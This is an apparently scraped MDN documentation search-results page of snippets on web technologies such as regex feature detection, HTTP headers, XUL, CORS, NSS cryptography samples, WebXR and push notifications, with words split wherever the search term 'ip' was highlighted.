ipt, including // sections of the code that are never executed. var camelcaseexpression = new regexp("(?<=[a-z])"); var splitupstring = function(str) { return (""+str).split(camelcaseexpression); }; } else { /*this fallback code is much less performant, but works*/ var splitupstring = function(str){ return str.replace(/[a-z]/g,"z$1").split(/z(?=[a-z])/g); ...
...ar splitupstring = islookbehindsupported ? function(str) { return (""+str).split(new regexp("(?<=[a-z])")); } : function(str) { return str.replace(/[a-z]/g,"z$1").split(/z(?=[a-z])/g); }; as the above code demonstrates, there is always a way to test browser support without user agent sniffing. there is never any reason to check the user agent string for this. lastly, the above code sn
ippets bring about a critical issue with cross-browser coding that must always be taken into account. don't unintentionally use the api you are testing for in unsupported browsers. this may sound obvious and simple, but sometimes it is not. for example, in the above code sn
ippets, using lookbehind in short-regexp notation (e.g. /reg/igm) will cause a parser error in unsupported browsers. thus, in th...
...And 11 more matches
Index - HTTP
client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header. browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a scr
ipt. 3 accept-charset content negotiation, http, http header, reference, request header the accept-charset request http header advertises which character set the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice within the content-type response header. browsers usually don't set thi...
... the accept-ranges response http header is a marker used by the server to advertise its support of partial requests. the value of this field indicates the unit that can be used to define a range. 7 access-control-allow-credentials cors, http, reference, header the access-control-allow-credentials response header tells browsers whether to expose the response to frontend javascr
ipt code when the request's credentials mode (request.credentials) is "include". 8 access-control-allow-headers cors, http, reference, header the access-control-allow-headers response header is used in response to a preflight request which includes the access-control-request-headers to indicate which http headers can be used during the actual request. 9 access-control...
... connection http, headers, reference, web the connection general header controls whether or not the network connection stays open after the current transaction finishes. if the value sent is keep-alive, the connection is persistent and not closed, allowing for subsequent requests to the same server to be done. 22 content-disposition http, reference, header in a mult
ipart/form-data body, the http content-disposition general header is a header that can be used on the subpart of a mult
ipart body to give information about the field it applies to. the subpart is delimited by the boundary defined in the content-type header. used on the body itself, content-disposition has no effect. 23 content-encoding http, headers, reference the content-encodi...
...And 11 more matches
Using templates and slots - Web Components
euse the same markup structures repeatedly on a web page, it makes sense to use some kind of a template rather than repeating the same structure over and over again. this was possible before, but it is made a lot easier by the html <template> element (which is well-supported in modern browsers). ...
...fore, but it is made a lot easier by the html <template> element (which is well-supported in modern browsers). this element and its contents are not rendered in the dom, but it can still be referenced using javascr
ipt. let's look at a trivial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascr
ipt and then append it to the dom, using something like the following: let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; document.body.appendchild(templatecontent); although trivial, you can already start to see how this could be useful. using templates with web components templates are useful on their own, but they work even better with web componen...
...ot> will be filled with all of the custom element's top-level child nodes that do not have the slot attribute. this includes text nodes. and that's it for our trivial example. if you want to play with it some more, you can find it on github (see it running live also). a more involved example to finish off the article, let's look at something a little less trivial. ...
...And 11 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
r server needs to send both the source and the stylesheet with a xml mime type, text/xml or application/xml. to find out the current type, load the file in mozilla and look at the page info. or use a download tool, those usually tell the mime type. ...
...nload tool, those usually tell the mime type. 3 index index, reference, xslt found 54 pages: 4 pi parameters xslt no summary! 5 the xslt/javascr
ipt interface in gecko xslt no summary! 6 advanced example xslt this advanced example sorts several divs based on their content. the example allows sorting the content mult
iple times, alternating between ascending and descending order. the javascr
ipt loads the .xsl file only on the first sort and sets the xslloaded variable to true once it has finished loading the file. using the xsltprocessor.getparameter() method, the code can figure whether to sort in ascending or descending order. it defaults to ascending if the parameter is empty (the first time the sorting happe...
...file and apply a xsl transformation on it. these are the same files used in the generating html example in the xslt in netscape gecko article. the xml file describes an article and the xsl file formats the information for display. 8 interface list needscontent, reference see xsltprocessor in the web api documentation section. 9 introduction gecko, intro, javascr
ipt, xslt with modern browsers supporting xslt, developers can now use javascr
ipt to access the power that xslt provides. javascr
ipt can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document. since the xml data loaded only contains the raw information without any presentation data, it can load quickly even on dialup. ...
...And 11 more matches
XUL Events - Archive of obsolete content
the default action of the event can be prevented to prevent the popup to appear.popupshownthe popupshown event is executed when a <menupopup>, <panel> or <t...
...active event is executed when a <menu> or a <menuitem> has been hovered or highlighted.dommenuiteminactivethe dommenuiteminactive event is executed when a <menu> or a <menuitem> in no longer hovered or highlighted.popuphiddenthe popuphidden event is executed when a <menupopup>, <panel> or <toolt
ip> has become hidden.popuphidingthe popuphiding event is executed when a <menupopup>, <panel> or <toolt
ip> is about to be hidden.popupshowingthe popupshowing event is executed when a <menupopup>, <panel> or <toolt
ip> is about to become visible. the default action of the event can be prevented to prevent the popup to appear.popupshownthe popupshown event is executed when a <menupopup>, <panel> or <toolt
ip> has become visible.radiostatechangethe radiostatechange event is executed when the state of a <r...
...hownthe popupshown event is executed when a <menupopup>, <panel> or <toolt
ip> has become visible.radiostatechangethe radiostatechange event is executed when the state of a <radio> element has changed.valuechangethe valuechange event is executed when the value of an element, <progress> for example, has changed. inherited dom events event descr
iption blur the opposite of the focus event, the blur event is passed after an element loses the focus. attribute: onblur change this event is sent when the value of the textbox is changed. the event is not sent until the focus i...
...And 10 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
ling the addsession method. ...
...ill be filled into the textbox as the user types. if set to false or omitted, the value must be selected from the list. crop type: boolean this attribute is not used and is only provided for compatibility with the menulist element. disableautocomplete obsolete since gecko 1.9.1 type: boolean if true, the autocomplete behavior will be disabled. you might use a scr
ipt to change this attribute. if false, the default, autocomplete is enabled. as of gecko 1.9.1, this attribute is now always specified in lower case. disableautocomplete new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the autocomplete behavior will be disabled. you might use a scr
ipt to change this attribute. if false, the default, autocomplete is enabled...
...f true, blur events are ignored while searching, which means that the autocomplete popup will not disappear. as of gecko 1.9.1, this attribute is now always specified in lower case. ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear. inputtoolt
iptext type: string the toolt
ip text for the textbox. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. maxlength type: integer the maximum number of characters that the textbox allows to be ...
...And 10 more matches
The Joy of XUL - Archive of obsolete content
n their dhtml web applications but at the cost of complexity and performance and without any supporting standards. based on existing standards xul is an xml language based on w3c standard xml 1.0. applications written in xul are based on additional w3c standard technologies featuring html 4.0; cascading style sheets (css) 1 and 2; document object model (dom) levels 1 and 2; javascr
ipt 1.5, including ecma-262 edition 3 (ecmascr
ipt); xml 1.0. platform portability like html, xul is designed to be platform-neutral, making applications easily portable to all of the operating systems on which mozilla runs. considering the broad range of platforms that currently support mozilla, this may be one of the most compelling features of xul as a technology for building applicati...
...of most web applications is the tight coupling of user interface elements with client application logic. this poses a significant problem in team environments because the skills required to develop these two parts are often satisfied by different people. xul provides a clear separation among the client application definition and programmatic logic ("content" consisting of xul, xbl, and javascr
ipt), presentation ("skin" consisting of css and images), and language-specific text labels ("locale" consisting of dtds and string bundles in .properties files). the layout and appearance of xul applications can be altered independently of the application definition and logic. further, the application can be localized for different languages and regions independently of its logic or presentation. ...
...g the original open source code with proprietary alterations. xpcom/xpconnect xpcom and xpconnect are complementary technologies that enable the integration of external libraries with xul applications. xpcom, which stands for cross platform component object model, is a framework for writing cross-platform, modular software. xpcom components can be written in c, c++, and javascr
ipt, and they can be used from c, c++, javascr
ipt, python, java, and perl. xpconnect is a technology which enables simple interoperation between xpcom and javascr
ipt. xpconnect allows javascr
ipt objects to transparently access and man
ipulate xpcom objects. it also enables javascr
ipt objects to present xpcom compliant interfaces to be called by xpcom objects. together, xpcom and xpconnect e...
...And 10 more matches
Popup Menus - Archive of obsolete content
nu button, which is usually the right mouse button. the exact way that a context menu is opened varies on each platform. on the macintosh for example, the user can either press the control key and click the mouse button, or hold the mouse button down for a moment. also note that it is possible to open context menus without using the mouse, for example by pressing the menu key on a keyboard. toolt
ips a toolt
ip popup window will appear when the user hovers over an element with the mouse. this type of popup is usually used to provide a descr
iption of a button in more detail than can be provided on the button itself. all three types of popups differ in the way that the user invokes them. the type of popup is determined by the element that invokes the popup. declaring popup content a popup ...
... content a popup is described using the menupopup element. it has no special attributes and is a type of box. when invoked, it will display a window containing whatever you put inside the menupopup. however, you should always put an id attribute on the menupopup as it is used to associate the popup with an element. we'll see what this means soon. first, an example: <popupset> <menupopup id="cl
ipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> as can be seen here, a simple popup menu with three commands on it has been created. the menupopup element surrounds the three menuitem elements. you will also notice that the id has been set on the menupopup element itself. the popupset element surrounds the entire popup men...
...ent surrounds the three menuitem elements. you will also notice that the id has been set on the menupopup element itself. the popupset element surrounds the entire popup menu declaration. this is a generic container for popups, and is optional. it does not draw on screen but instead is used as a placeholder where you would declare all of your popups. as the name popupset implies, you can put mult
iple popup declarations inside it. just add additional ones after the first menupopup element. you can have more than one popupset in a file, but usually you will have only one. associating a popup with an element now that we've created the popup, it's time to make the popup appear. to do this we need to associate the popup with an element where it should appear. we do this because we only want th...
...And 10 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
tampering, and impersonation attacks. encryption and decryption allow two communicating parties to disguise information they send to each other. the sender encrypts, or scrambles, information before sending it. the receiver decrypts, or unscrambles, the information after receiving it. while in transit, the encrypted information is unintelligible to an intruder. tamper detection allows the rec
ipient of information to verify that it has not been modified in transit. any attempt to modify data or substitute a false message for a legitimate one will be detected. authentication allows the rec
ipient of information to determine its origin-that is, to confirm the sender's identity. nonrepudiation prevents the sender of information from claiming at a later date that the information was never s...
...ted ssl session can be established. for an overview of client authentication over ssl and how it differs from password-based authentication, see "authentication confirms an identity". for more detailed information about ssl, see "introduction to ssl." signed and encrypted email some email programs support digitally signed and encrypted email using a widely accepted protocol known as secure mult
ipurpose internet mail extension (s/mime). using s/mime to sign or encrypt email messages requires the sender of the message to have an s/mime certificate. an email message that includes a digital signature provides some assurance that it was in fact sent by the person whose name appears in the message header, thus providing authentication of the sender. if the digital signature cannot be validated...
...email makes it very difficult for the sender to deny having sent the message. this is important for many forms of business communication. (for information about the way digital signatures work, see "digital signatures".) s/mime also makes it possible to encrypt email messages. this is also important for some business users. however, using encryption for email requires careful planning. if the rec
ipient of encrypted email messages loses his or her private key and does not have access to a backup copy of the key, for example, the encrypted messages can never be decrypted. single sign-on network users are frequently required to remember mult
iple passwords for the various services they use. for example, a user might have to type a different password to log into the network, collect email, use...
...And 10 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
in ie, the object element is used to invoke a plugin that is built on the activex architecture. here's an example of this kind of usage for ie: <!-- ie only code --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="movie" value="javascr
ipt-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> </object> in the above example, the classid attribute that goes along with the object element points to a "clsid:" urn followed by the unique identifier of an activex control (in the above example, the string beginning with "d27..."). this is, in fact, the unique identifier of macromedia'...
...mozilla-based browsers support the netscape plugin architecture, which is not com based like activex (and thus, not invoked via a unique identifier) but rather, mime type based. mozilla-based browsers support the use of the object element along with a mime type. ...
...tivex (and thus, not invoked via a unique identifier) but rather, mime type based. mozilla-based browsers support the use of the object element along with a mime type. here is an example of this usage, once again for the macromedia flash plugin: <object type="application/x-shockwave-flash" data="javascr
ipt-to-flash.swf" width="366" height="142" id="myflash"> <param name="movie" value="javascr
ipt-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>you need flash -- get the latest version from <a href= "http://www.macromedia.com/downloads/">here.</a></p> </object> in the above example, application/x-shockwave-flash is the flash mime type, and will invoke the netscape-specific flash architecture in mozilla-based browsers. ...
...And 10 more matches
Getting started with Ember - Learn web development
objective: to learn how to install ember, and create a starter app. ...
... objective: to learn how to install ember, and create a starter app. ...
...ok at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascr
ipt languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascr
ipt features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to install ember, and create a starter app. introducing ember ember is a component-service framework that focuses on the overall web application development experience, minimizing the trivial differences between applications -- all while being ...
...And 10 more matches
Strategies for carrying out testing - Learn web development
objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. there is no way you can test on every combination of browser and device ...
...off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high level princ
iples of cross-browser testing. objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. there is no way you can test on every combination of browser and device your users might use to view your site -- ther...
...owser, the site will be able to downgrade to something less exciting that still provides an acceptable user experience -- the core information is still accessible, for example, even if it doesn't look quite as nice. the aim is to build up a chart of browsers/devices you can refer to as you test. you can make this as simple or as complex as you like -- for example a common approach is to have mult
iple grades of support level, something like: a grade: common/modern browsers -- known to be capable. test thoroughly and provide full support. b grade: older/less capable browsers -- known not to be capable. test, and provide a more basic experience that gives full access to core information and services. c grade: rare/unknown browsers -- don't test, but assume they are capable. serve the full...
...And 10 more matches
Setting up your own test automation environment - Learn web development
is article, we will teach you how to install your own automation environment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node. we will also look at how to integrate your local testing environment with commercial tools like the ones discussed in the previous article. prerequisites: familiarity with the core html, css, and javascr
ipt languages; an idea of the high-level princ
iples of cross browser testing, and automated testing. objective: to show how to set up a selenium testing environment locally and run tests with it, and how to integrate it with tools like lambdatest, sauce labs, and browserstack. selenium selenium is the most popular browser automation tool. there are other ways, but the best way to...
...k opens this url", etc. this is ideal for running automated tests. how you install and use webdriver depends on what programming environment you want to use to write and run your tests. most popular environments have available a package or framework that will install webdriver and the bindings required to communicate with webdriver using this language, for example, java, c#, ruby, python, javascr
ipt (node), etc. see setting up a selenium-webdriver project for more details of selenium setups for different languages. different browsers require different drivers to allow webdriver to communicate with and control them. see platforms supported by selenium for more information on where to get browser drivers from, etc. we will cover writing and running selenium tests using node.js, as it is qui...
...lly open up! google should automatically be loaded in a tab, "webdriver" should be entered in the search box, and the search button will be clicked. webdriver will then wait for 2 seconds; the document title is then accessed, and if it is "webdriver - google search", we will return a message to claim the test is passed. webdriver will then close down the firefox instance and stop. testing in mult
iple browsers at once there is also nothing to stop you running the test on mult
iple browsers simultaneously. let's try this! create another new file inside your project directory called google_test_mult
iple.js. you can feel free to change the references to some of the other browsers we added, remove them, etc., depending on what browsers you have available to test on your operating system. you'...
...And 10 more matches
Makefile - variables
csrcs a list of c source files to compile. defines additional preprocessor defines for c++ expand_mozlibname exports a list of exported header files and sources to install for external use. ...
... exports a list of exported header files and sources to install for external use. exports_namespaces exported package include directory: dist/include/${namespace} exports_${namespace} a list of exports/headers that should be copied into the exported namespace directory. extra_components nsdefaultclh.manifest, javascr
ipt xpcomm files extra_dso_libs extra_dso_ldopts extra_js_modules extra_pp_components xpcomm files to pre-process before installation. garbage a "clean target" macro containing a list of files to remove. garbage_dirs a "clean target" macro containing a list of dir...
...ndencies - subdirectories for make to traverse prior to building current. xpidl_module module name to use when generating .xpt files, default to module. xpidlsrcs internal: a list of .idl files to generate exported headers from. xpidl_name name of extension to build see also configure.sh variables descr
iption build_project_arg command line/environment override configure_env_args command line/environment override directory variable dirs a list of subdirectories to build recursively. parallel_dirs a list of subdirectories to build recursively that may be built concurren...
...And 10 more matches
WebRequest.jsm
the webrequest module is new in firefox 41. the webrequest module provides an api to add event listeners for the various stages of making an http request. the event listener receives detailed information about the request, and can modify or cancel the request. you can use this api to implement a content policy in an add-on (for example, an ad or scr
ipt blocker), as you could using nsicontentpolicy. more generally, you can also use this api instead of http request observers. you can use webrequest.jsm in either the chrome or content processes. the webrequest api is modeled on chrome's webrequest extension api, which makes it easier to write cross-browser add-on code. there are some differences between this api and chrome's, though: see chrome incompatibilities for the details. u...
... onbeforesendheaders onsendheaders onheadersreceived onresponsestarted oncompleted each of these objects defines two functions: addlistener(callback, filter, opt_extrainfospec) removelistener(callback) adding listeners use addlistener to add a listener to a particular event. it takes one mandatory argument and two optional arguments, as detailed below. name type descr
iption callback function the callback argument is a function to be called when the event is triggered. it's passed an object whose structure will vary depending on the event you're listening to: see the event-specific documentation for details. filter object the optional filter argument is used to restrict the requests for which the listener callback w...
...event, call removelistener on the event in question, passing it the listener to remove. filtering the filter argument is the second argument to addlistener(). if you don't pass filter, then the listener is invoked for every web request the browser makes that triggers that particular event. filter is an object that may contain up to two properties: urls and types. name type descr
iption urls matchpattern only invoke the listener for urls that match one of the patterns. types array of strings. an array of resource types. only invoke the listener for resource types that match one of the types given. to specify match patterns, first import the "matchpattern.jsm" module, then construct a matchpattern. the matchpattern constructor accepts:...
...And 10 more matches
Mozilla Web Services Security Model
of the user's cookies), web browsers restrict what web pages can do when accessing things in other domains. these restrictions apply to web services. however, web services can be designed to be accessed from other domains, or even from any domain. mozilla allows sites hosting such web services to tell mozilla that other sites can access the service. they do this by creating a file called web-scr
ipts-access.xml in the root of the server that grants permission for other domains to access web services. for example, to determine what web sites can access a web service at http://www.example.com/dir1/dir2/service, mozilla would load the file http://www.example.com/web-scr
ipts-access.xml, which may choose to delegate the decision to http://www.example.com/dir1/dir2/web...pts-access.xml. web-scri...
... that grants permission for other domains to access web services. for example, to determine what web sites can access a web service at http://www.example.com/dir1/dir2/service, mozilla would load the file http://www.example.com/web-scr
ipts-access.xml, which may choose to delegate the decision to http://www.example.com/dir1/dir2/web...pts-access.xml. web-scr
ipts-access.xml file format the web-scr
ipts-access.xml file is an xml document. any errors in xml syntax, as well as many failures to follow the format, will cause the document to be ignored. the webscr
iptaccess element its root element must be a webscr
iptaccess element in the http://www.mozilla.org/2002/soap/security namespace. this element must have either one delegate element child or any number (0 or more) of allow element children...
...ebscr
iptaccess element in the http://www.mozilla.org/2002/soap/security namespace. this element must have either one delegate element child or any number (0 or more) of allow element children. all of these children elements must be in the same namespace as the parent, and must be empty. the delegate element a delegate element means that the browser should delegate the access control to a web-scr
ipts-access.xml file in the directory that the service is in. for example, when accessing a web service at http://www.example.com/dir1/dir2/service, if the access file at http://www.example.com/web-scr
ipts-access.xml contains a delegate element, mozilla will instead use http://www.example.com/dir1/dir2/web...
ipt-access.xml to determine whether access is permitted. if no such file exists, then access...
...And 10 more matches
Midas
internet explorer supports the ability to make an entire document editable by setting the designmode property of the document object; this is how midas is invoked in gecko. internet explorer also supports the ability to edit specific elements using the contenteditable attribute; starting with firefox 3, gecko also supports contenteditable. ...
...h firefox 3, gecko also supports contenteditable. once midas is invoked, a few more methods of the document object become available. you can try demo of this here. properties document.designmode by setting this property to "on", the document becomes editable. ...
...it is beneficial to be familiar with these objects when working with an editable document. ...
...And 10 more matches
Enc Dec MAC Output Public Key as CSR
t http://mozilla.org/mpl/2.0/. ...
...lude #include /* nss headers */ #include #include #include #include #include #include #include #include #include #include #include #include /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define c
iphersize 96 #define blocksize 32 #define default_key_bits 1024 #define c
ipher_header "-----begin c
ipher-----" #define c
ipher_trailer "-----end c
ipher-----" #define enckey_header "-----begin wrapped enckey-----" #define enckey_trailer "-----end wrapped enckey-----" #define mackey_header "-----begin wrapped mackey-----" #define mackey_trailer "-----end wrapped mackey-----" #define iv_header "-----begin iv-----" #def...
...pt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_freeitem(secparam, pr_true); } return ctx; } /* * common encryption and decryption code */ secstatus crypt(pk11context *ctx, unsigned char *out, unsigned int *outlen, unsigned int maxout, unsigned char *in, unsigned int inlen) { secstatus rv; rv = pk11_c
ipherop(ctx, out, outlen, maxout, in, inlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "crypt failed : pk11_c
ipherop returned %d\n", rv); goto cleanup; } cleanup: if (rv != secsuccess) { return rv; } return secsuccess; } /* * decrypt */ secstatus decrypt(pk11context *ctx, unsigned char *out, unsigned int *outlen, unsigned int maxout, ...
...And 10 more matches
NSS Sample Code sample2
however, it is a common (and dangerous) * practice to use raw des keys. this example shows the use of a raw key. ...
...however, it is a common (and dangerous) * practice to use raw des keys. this example shows the use of a raw key. ...
... in the clear). however, it is a common (and dangerous) * practice to use raw des keys. this example shows the use of a raw key. ...
...And 10 more matches
Using the MediaStream Recording API - Web APIs
the user's input devices and instantly use the result in web apps. both audio and video may be recorded, separately or together. this article aims to provide a basic guide on how to use the mediarecorder interface, which provides this api. a sample application: web dictaphone to demonstrate basic usage of the mediarecorder api, we have built a web-based dictaphone. it allows you to record sn
ippets of audio and then play them back. it even gives you a visualization of your device's sound input, using the web audio api. we'll concentrate on the recording and playback functionality for this article. you can see this demo running live, or grab the source code on github. css goodies the html is pretty simple in this app, so we won't go through it here; there are a couple of slightly more...
...recording and playback functionality for this article. you can see this demo running live, or grab the source code on github. css goodies the html is pretty simple in this app, so we won't go through it here; there are a couple of slightly more interesting bits of css worth mentioning, however, so we'll discuss them below. if you are not interested in css and want to get straight to the javascr
ipt, sk
ip to the basic app setup section. keeping the interface constrained to the viewport, regardless of device height, with calc() the calc() function is one of those useful little utility features that's cropped up in css that doesn't look like much initially, but soon starts to make you think "wow, why didn't we have this before? why was css2 layout so awkward?" it allows you do a calculation...
...wanted to make the third area (which contains the recorded samples you can play back) take up whatever space is left, regardless of the device height. flexbox could be the answer here, but it's a bit overkill for such a simple layout. instead, the problem was solved by making the third container's height equal to 100% of the parent height, minus the heights and padding of the other two: .sound-cl
ips { box-shadow: inset 0 3px 4px rgba(0,0,0,0.7); background-color: rgba(0,0,0,0.1); height: calc(100% - 240px - 0.7rem); overflow: scroll; } note: calc() has good support across modern browsers too, even going back to internet explorer 9. checkbox hack for showing/hiding this is fairly well documented already, but we thought we'd give a mention to the checkbox hack, which abuses the f...
...And 10 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
the penultimate article in the series, covering lighting in webgl. while reading this article and the accompanying source code, it's helpful to keep in mind that the display for a 3d headset is a single screen, divided in half. the left half of the screen is seen only by the left eye, while the right half is only seen by the right eye. rendering the scene for immersive presentation requires mult
iple renders of the scene--once from the perspective of each eye. when rendering the left eye, the xrwebgllayer has its viewport configured to restrict drawing to the left half of the drawing surface. contrarily, when rendering the right eye, the viewport is set to restrict drawing to the right half of the surface. this example demonstrates this by showing the canvas on the screen, even when prese...
...is true, the example will attempt to use the webxr polyfill even if the browser actually has support for webxr. if false, the polyfill is only used if the browser doesn't implement navigator.xr. session_type the type of xr session to create: inline for an inline session presented in the context of the document and immersive-vr to present the scene to an immersive vr headset. mouse_speed a mult
iplier used to scale the inputs from the mouse used for pitch and yaw control. move_distance the distance to move in response to any of the keys used to move the viewer through the scene. note: this example always displays what it renders on the screen, even if using immersive-vr mode. this lets you compare any differences in rendering between the two modes, and lets you see output from immersi...
...n in which they'll initially be looking. cubeorientation will store the current orientation of the cube, while cubematrix and mousematrix are storage for matrices used during the rendering of the scene. inverseorientation is a quaternion which will be used to represent the rotation to apply to the reference space for the object in the frame being rendered. radians_per_degreee is the value to mult
iply an angle in degrees by to convert the angle into radians. the last four variables declared are storage for references to the <div> elements into which we'll output the matrices when we want to show them to the user. logging errors a function called logglerror() is implemented to provide an easily customized way to output logging information for errors that occur while executing webgl functio...
...And 10 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
ce sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin. a web application executes a cross-origin http request when it requests a resource that has a different origin (domain, protocol, or port) from its own. an example of a cross-origin request: the front-end javascr
ipt code served from https://domain-a.com uses xmlhttprequest to make a request for https://domain-b.com/data.json. for security reasons, browsers restrict cross-origin http requests initiated from scr
ipts. for example, xmlhttprequest and the fetch api follow the same-origin policy. this means that a web application using those apis can only request resources from the same origin the application wa...
...cifically, this article is for web administrators, server developers, and front-end developers. modern browsers handle the client side of cross-origin sharing, including headers and policy enforcement. but the cors standard means servers have to handle new request and response headers. another article for server developers discussing cross-origin sharing from a server perspective (with php code sn
ippets) is supplementary reading. what requests use cors? this cross-origin sharing standard can enable cross-site http requests for: invocations of the xmlhttprequest or fetch apis, as discussed above. web fonts (for cross-domain font usage in @font-face within css), so that servers can deploy truetype fonts that can only be cross-site loaded and used by web sites that are permitted to do so.
...quest, soliciting supported methods from the server with the http options request method, and then, upon "approval" from the server, sending the actual request. servers can also inform clients whether "credentials" (such as cookies and http authentication) should be sent with requests. cors failures result in errors, but for security reasons, specifics about the error are not available to javascr
ipt. all the code knows is that an error occurred. the only way to determine what specifically went wrong is to look at the browser's console for details. subsequent sections discuss scenarios, as well as provide a breakdown of the http headers used. examples of access control scenarios we present three scenarios that demonstrate how cross-origin resource sharing works. all these examples use xml...
...And 10 more matches
Performance fundamentals - Web Performance
only processes 1,000 database transactions per second, over a choppy, unresponsive app that processes 100,000,000 per second. of course, it's by no means pointless to optimize other metrics, but real upp targets come first. the next few subsections point out and discuss essential performance metrics. responsiveness responsiveness simply means how fast the system provides outputs (possibly mult
iple ones) in response to user inputs. for example, when a user taps the screen, they expect the pixels to change in a certain way. for this interaction, the responsiveness metric is the time elapsed between the tap and the pixel change. responsiveness sometimes involves mult
iple stages of feedback. application launch is one particularly important case discussed in more detail below. responsivenes...
...ne prefers, say, games that display 60 frames per second over ones that display 10 frames per second, even if they can't explain why. framerate is important as a "quality of service" metric. computer displays are designed to "fool" user's eyes, by delivering photons to them that mimic reality. for example, paper covered with printed text reflects photons to the user's eyes in some pattern. by man
ipulating pixels, a reader app emits photons in a similar pattern to "fool" the user's eyes. as your brain infers, motion is not jerky and discrete, but rather "updates" smoothly and continuously. (strobe lights are fun because they turn that upside down, starving your brain of inputs to create the illusion of discrete reality). on a computer display, a higher framerate simply makes for a more fait...
...tions this section provides a brief overview of how firefox/gecko contributes to performance generally, below the level of all applications. from a developer's or user's perspective, this answers the question, "what does the platform do for you?" web technologies the web platform provides many tools, some better suited for particular jobs than others. all application logic is written in javascr
ipt. to display graphics, developers can use html or css (i.e. high-level declarative languages), or use low-level imperative interfaces offered by the <canvas> element (which includes webgl). somewhere "in between" html/css and canvas is svg, which offers some benefits of both. html and css greatly increase productivity, sometimes at the expense of framerate or pixel-level control over rendering. ...
...And 10 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
xamine the service workers cookbook examples, try to set up a push messaging server using firebase, or build your own server (using node.js for example). as mentioned before, to be able to receive push messages, you have to have a service worker, the basics of which are already explained in the making pwas work offline with service workers article. inside the service worker, a push service subscr
iption mechanism is created. registration.pushmanager.getsubscr
iption() .then( /* ... */ ); once the user is subscribed, they can receive push notifications from the server. from the server-side, the whole process has to be encrypted with public and private keys for security reasons -- allowing everyone to send push messages unsecured using your app would be a terrible idea. see the web push data...
...h contains the source code of our app server.js, which contains the server part (written in node.js) service-worker.js, which contains the service worker-specific code. let's explore all of these index.js the index.js file starts by registering the service worker: navigator.serviceworker.register('service-worker.js') .then(function(registration) { return registration.pushmanager.getsubscr
iption() .then(async function(subscr
iption) { // registration part }); }) .then(function(subscr
iption) { // subscr
iption part }); it is a little bit more complicated than the service worker we saw in the js13kpwa demo. in this particular case, after registering, we use the registration object to subscribe, and then use the resulting subscr
iption object to complete the whole process. ...
...ation part }); }) .then(function(subscr
iption) { // subscr
iption part }); it is a little bit more complicated than the service worker we saw in the js13kpwa demo. in this particular case, after registering, we use the registration object to subscribe, and then use the resulting subscr
iption object to complete the whole process. in the registration part, the code looks like this: if(subscr
iption) { return subscr
iption; } if the user has already subscribed, we then return the subscr
iption object and move to the subscr
iption part. ...
...And 10 more matches
Classes and Inheritance - Archive of obsolete content
one or more members, which are initialized to a given value when the class is instantiated. data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have behavior. inheritance allows classes to inherit state and behavior from an existing classes, known as the base class. unlike languages like c++ and java, javascr
ipt does not have native support for classical inheritance. instead, it uses something called prototypal inheritance. as it turns out, it is possible to emulate classical inheritance using prototypal inheritance, but not without writing a significant amount of boilerplate code. classes in javascr
ipt are defined using constructor functions. each constructor function has an associated object, known a...
...we will show how to make inheritance work correctly with respect to constructors, prototypes, and the instanceof operator, and how to override methods in subclasses. the sdk uses a special constructor internally, known as class, to create constructors that behave properly with respect to inheritance. ...
...ial constructor internally, known as class, to create constructors that behave properly with respect to inheritance. the last section shows how to work with the class constructor. it is possible to read this section on its own. however, to fully appreciate how class works, and the problem it is supposed to solve, it is recommended that you read the entire article. constructors before the ecmascr
ipt 6 standard, a javascr
ipt class was defined by creating a constructor function for that class. to illustrate this, let's define a simple constructor for a class shape: function shape(x, y) { this.x = x; this.y = y; } we can now use this constructor to create instances of shape: let shape = new shape(2, 3); shape instanceof shape; // => true shape.x; // => 2 shape.y; // => 3 the keyw...
...And 9 more matches
XUL Migration Guide - Archive of obsolete content
this guide aims to help you migrate a xul-based add-on to the sdk. first we'll outline how to decide whether your add-on is a good candidate for migration via a comparison of the benefits and limitations of the sdk versus xul development. next, we'll look at some of the main tasks involved in migrating: working with content scr
